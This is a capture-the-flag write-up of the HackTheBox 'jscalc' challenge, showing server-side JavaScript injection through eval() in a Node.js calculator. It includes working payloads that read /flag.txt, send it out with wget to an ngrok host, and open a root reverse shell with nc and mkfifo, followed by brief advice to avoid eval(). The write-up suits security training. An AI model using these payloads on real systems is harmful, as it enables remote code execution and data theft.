Home HackTheBox - jscalc
Post
Cancel

HackTheBox - jscalc

In the mysterious depths of the digital sea, a specialized JavaScript calculator has been crafted by tech-savvy squids. With multiple arms and complex problem-solving skills, these cephalopod engineers use it for everything from inkjet trajectory calculations to deep-sea math. Attempt to outsmart it at your own risk! 🦑

This website is a javascript calculator that uses eval() to make it’s calculations.

calc

Reconnaissance

The source code is provided, so we can dig in the details of how this calculator works.

calculatorHelper.js

When viewing the source code, it looks like the calculate() function performs an eval() on a function that contains our user input.

1
2
3
4
5
6
7
8
9
10
11
12
module.exports = {
    calculate(formula) {
        try {
            return eval(`(function() { return ${ formula } ;}())`);

        } catch (e) {
            if (e instanceof SyntaxError) {
                return 'Something went wrong!';
            }
        }
    }
}

Exploit

File System Module

The easiest approach is to use the fs module.

1
require('fs').readFileSync('/flag.txt','utf8')

fs-exploit

Child Process Module

Another approach would be to use the child_process module, especially the exec() function that spawns a shell then executes the command within that shell.

Running cat flag.txt is returning an object, but there are other ways to perform this exploit via child_process.exec().

cat

Exfiltrate Data

If this application would be vulnerable to an os command injection but we can’t view the output of our commands, we can still exfiltrate the data via wget.

We set up our own web server via ngrok to make it accessible to the outside world.

1
2
3
$ ./ngrok http 127.0.0.1:80
Forwarding: https://baa7-2a02-a03f-e416-1500-119c-6e68-4ade-c6fa.ngrok-free.app -> 127.0.0.1

We import the child_process module and callg the function exec that will execute our commands on the server. We call wget to do a GET request to our server concatenating the cat /flag.txt command via command substitution. Using command substitution via $(COMMAND) allows us to execute a command and substitute its output in place of the expression.

1
require('child_process').exec('wget https://baa7-2a02-a03f-e416-1500-119c-6e68-4ade-c6fa.ngrok-free.app?flag=$(cat /flag.txt)')

exploit

1
2
3
4
$ ./ngrok http 127.0.0.1:80                         
HTTP Requests
-------------
GET /flag=HTB{c4**REDACTED**c3} 502 Bad Gateway  

Reverse Shell

Another possibility is spawning a reverse shell. It requires some trial and error.

We first need to set up ngrok as we need to be reachable from the outside:

1
2
$ ./ngrok tcp 127.0.0.1:1234 
Forwarding                    tcp://7.tcp.eu.ngrok.io:17785 -> 127.0.0.1:1234  

We require the ip of the ngrok domain we are using, so we can use dig. dig (domain information groper) is a tool for getting information from DNS name servers.

1
2
3
4
5
6
7
8
9
10
$ dig 7.tcp.eu.ngrok.io           

; <<>> DiG 9.18.8-1-Debian <<>> 7.tcp.eu.ngrok.io
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 22603

;; ANSWER SECTION:
7.tcp.eu.ngrok.io.      60      IN      A       3.67.15.169

We then spawn a listener with netcat (nc):

1
$ nc -lvnp 1234

We can now start building our reverse shells. I tried a few from revshells.com. The one that seemed to work was using nc mkfifo:

1
require('child_process').exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 3.67.15.169 17785 >/tmp/f')

But as the error message indicates there was no /bin/bash shell available, only /bin/sh.

1
2
3
4
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 52130
/bin/sh: /bin/bash: not found

We adjust our payload to use /bin/sh:

1
require('child_process').exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 3.67.15.169 17785 >/tmp/f')

And we get a reverse shell.

1
2
3
4
5
6
7
8
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 43344
/bin/sh: can't access tty; job control turned off
/app # id   
uid=0(root) gid=0(root) groups=1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
/app # cat /flag.txt
HTB{c4**REDACTED**c3}/app # 

Mitigation

Avoid eval() completely and use libraries or methods that are specific for your use case. This application could be made without using eval(), if complex mathematical operations are required there are always libraries like mathjs or similar who have a proven track record.

This post is licensed under CC BY 4.0 by the author.